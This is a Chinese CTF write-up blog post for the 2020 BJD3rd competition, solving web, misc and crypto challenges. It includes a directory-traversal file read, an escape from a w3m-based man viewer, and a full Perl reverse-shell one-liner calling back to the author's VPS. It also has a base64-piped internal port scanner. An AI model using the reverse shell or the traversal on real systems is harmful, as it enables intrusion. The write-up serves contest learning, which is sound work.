2020 BJD3rd
文章首发于安全客
WEB
gob
登录万能密码登(好像可以直接随便输?)然后是一个上传界面
上传后易得一个二级目录uploads,然后看了看目录里都是各种马,但是因为不解析所以一个都没用。。。
但是此时发现文件上传后文件名并没有被更改,所以推测show.php文件包含也是直接包含的我们上传的文件名,所以构造一个../../../../flag
文件进行目录穿越,再访问就可以得到flag的base64,解密即为flag(PS:必须得在同一个session中)
MISC
Questionnaire
F12获得flag,标准签到题
1 | null,null,null,null,[["1vV5T8FOS13NOQDji-xYIynLwsUMXcV8aatxUWP6ljvfz-w",null,[740,416,0] |
flag为答案后面拼起来的字符:d41d8cd98f00b204e9800998ecf8427e
babyweb
打开网址,一张图,下载zip,密码说是那个password_is_here
然后F12发现
于是想到可能是宽字节隐写,然后找到在线工具网站解密,得到zerowidthcharactersinvisible
,解压后得到一张倒叙的图,脚本一把梭
1 | a = open('f14g.png','rb').read() |
得到一堆奇怪字符
前三个是MINIMOYS, 4-6是银河密码,7-9是跳舞的小人,最后两个是鸟图腾
得到
UVWHZAITWAU
所以flag:MD5(‘BJD{UVWHZAITWAU}’)
/bin/cat 2
进去后是一张大的图片,里面有很多 小的图片,小的图片有两种。
然后如果将页面缩小,可以隐约看到一个二维码
所以方法一:写脚本脚本,然后生成二维码,再将图片替换——长度减一半,扫二维码后md5即可
exp
1 | from PIL import Image |
方法二:直接截图,然后放进Stegsolve,改一下色道可以得到
然后改一下宽高,就能扫出来了(支付宝扫码能力比较强)。
manual
首先ssh链接,得到
1 | % ssh ctf@183.129.189.60 -p 10128 |
上面那个网址就是虎符misc中的emoji替代加密,密钥是suika
,他是一种替代加密,去网址得到字典后脚本替代得到ssh密码:C0dEmOj!so4UnNy
1 | a = '🌷👱🌠🌴👷🎆🍀👼🎉🍇👰🎍🍋💁🎑🍏🚶🎁🍓💑🏀🍄💪🎳🍗👆😶🚘🐀😮🚜🐻😴⚓🐔😝🚢🐥😕🚟🐊😞🚥🐉😭🚽🐟😩⌛🐚😳☀😜😀🚆🐈😄🚊🐴😊🚌🐾🐂🐪🚏🐗😚🌹🚓🐁😑🚗👩😥' |
登录上去后是一个留言板加上一个自带的man flag指令,但是你不能退出man,退出man的话就直接退出了ssh,但是这个man又不是一般的man,他是w3mman,然后上面的External Program Settings
中的External browser
可以命令执行(这相当于是默认启动项,可以插入指令让它执行),使用perl来反弹shell,于是构建(网上百度)得perl -e 'use Socket;$i="ip addr";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
,将shell反弹到VPS上,然后开始疯狂查看文件以及权限,得到f1a9.py
为700权限,hint又说不用提权,然后看见run.sh里
1 |
|
可以看到f1a9.py在启动是就在后台运行了,但是。。。我ps怎么弄,进入/proc
读内存都没找到有用信息,但是官方突然给hint:f1a9.py的独白:我的真实身份是web server
,于是恶向胆边生,俺爆破你端口,但是又因为服务器里没有nmap等可以三句话代码,使用python写进去一句话的扫描端口脚本
原码:
1 | import requests |
一句话脚本:
1 | echo aW1wb3J0IHJlcXVlc3RzCmhvc3QgPSAnIGh0dHA6Ly8xMjcuMC4wLjEnCmZvciBpIGluIHJhbmdlKDIwMDAsMjUwMCk6CiAgICBhZGQgPSBob3N0Kyc6JytzdHIoaSkKICAgIHRyeToKICAgICAgICBzID0gcmVxdWVzdHMuZ2V0KGFkZCkKICAgICAgICBwcmludChpKQogICAgICAgIHByaW50KHMudGV4dCkKICAgICAgICBleGl0KDEpCiAgICBleGNlcHQ6CiAgICAgICAgcHJpbnQoaSkKICAgICAgICBwYXNzCg== | base64 -d | python3 |
得到了2333端口有网页,其内容为一堆base64编码:
看到这么多base64,有可能就是base64隐写,脚本一把梭:
1 | import base64 |
得到hTtP://999.TaQini.SpAcE,上去后是
这玩意,f12后发现有一堆奇怪的表情js:
网上在线解密aaencode得到
1 | /** |
得到flagCrypto
Crypto
bbcrypto
1 | # -*- coding:utf-8 -*- |
是一个简单的仿射密码,c = ax+salt(mod 128)
其中a固定未知,salt是变化的,但是周期只有3
我们知道flag的格式,开头为flag
所以我们拿‘f’和‘g’来解方程,此时两个未知数,两条方程,完全可解。
解出a后,再用flag的‘l’和‘a’来解salt的另外两个值
最终解出a = 57, salt = ‘ahh’
exp:
1 | from Crypto.Util.number import * |
Encrypt_Img
1 | from numpy import array |
题目用的流密码是一个标准RC4。我们可以看到题目加密了Plaintext1和flag的图片,然后又加密了Plaintext2和flag的图片。
这一题的切入点在题目所作的两次test。我们可以看到Plaintext1和Plaintext1相差了一个字节。然后两次加密用的是同样的key,这也就意味着两次用于加密明文的密钥流是一模一样的。所以加密两次图片的密钥流刚好有一位的错位。
鉴于RC4加密的特性,当我们有一对明文、密文我们是可以知道密钥的。然后我们可以利用Plaintext2多出来的那一个字节来知道第一次加密图片的第一位密钥。然后用这个密钥去解密,得到第一次加密的图片的第一个像素点。有了图片的原始的第一个像素点,我们也有第二次加密的图片加密后的像素点,利用这两个点我们能获得第一次加密图片的第二个key。如此循环往复,来回横跳,就可以最终恢复第一次加密的图片
exp
1 | from numpy import array |
得到图片
easyLCG
1 | from Crypto.Util.number import* |
这一道题两个知识点,一个是LCG,一个是DHP,其中,DHP用于加密flag,我们要得到flag就要获得协商密钥。而获得协商密钥的方法就是知道一方的私钥。而双方的私钥使用LCG生成的。
LCG中的三个参数a,b,m我们都知道。然后给出了s1 和 s2 的高位。低16位未知。这里完全可以爆破。
爆破s1,然后生成s2,看高位是否与给出的s2高位一致来确定。最终爆出四个符合的值。
然后就利用四个可能的s2和a, b, m,根据题目生成密钥的方式来生成A的四个可能私钥。再利用B的公钥获得四个协商密钥。然后看解密结果,找出flag。
exp:
1 | from Crypto.Util.number import * |
knapsack
1 | from Crypto.Util.number import * |
这是一个超递增背包问题。但这里用的是一个超递减序列
并且对这个序列做了一次加密,加密方式为 a*A % B,其中x为序列中的每一个元素,B大于序列中最大的元素。
想要解密,我们首先需要获得A和B,然后来通过求逆来获得原序列。
获得A的方式很简单。这个序列的最小的值很小,这个时候用不到模运算,我们只需要对比较小的两个值求一个最大公因数就能得到A。
至于求B,我们找到比较大的两个数,并且满足如下关系,即$a_{i+1} < a_{i}$,(我们设最小的为$a_0$)这是不符合序列的单调性的,也就意味着这里存在一次模运算。且这里的递减是用整除2来得到的。所以要么$a_{i}\cdot 2 - a_{i+1} = B$,要么$a_{i}\cdot 2 + A - a_{i+1} = B$ 【因为这里是整除嘛,这不难理解】
有了原来的超递减序列,这个问题就很简单了。我们只需要对这个序列从头开始判断。如果密文大于这个元素,flag的最高位bit就是1,然后将密文减去这个元素。否则flag的这一个bit位就是0,继续下一个元素与密文的大小判断。如此循环。最后解密得到flag。
exp:
1 | b=335428611041311731398614259824482604248524861615176787429946575184146370361110652887115402376826444538743339055691850202034085349274540292019392290484025358504275054761608502214481606484088807087063751542648223811793597463026662881020647708165593980984857948283181770647446888695205803952635117800114545071259 |
Backpacker
1 | import signal |
也是背包问题,一共三关。
第一关,由于数字很小。范围是0到1023,所以可以直接爆破得到。
第二关,是超递增背包问题。跟上面那个一样的。
第三关,不是超递增背包问题了,然后量比较大,数字也比较大。这里用Latiice可以解决。格长这样
然后解起来有概率问题。就算格基规约成功了,也只有1/2的概率成功。由于没有sage环境,这里是半自动脚本
交互脚本,可以打到第三关,然后拿到数据
1 | import string |
拿到数据了去用sage解密
1 | m=[] |
然后提交,碰点运气。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com
文章标题:2020 BJD3rd
文章字数:5k
本文作者:Van1sh
发布时间:2020-05-26, 16:00:47
最后更新:2021-06-03, 09:46:55
原始链接:http://jayxv.github.io/2020/05/26/2020BJD3rd/版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。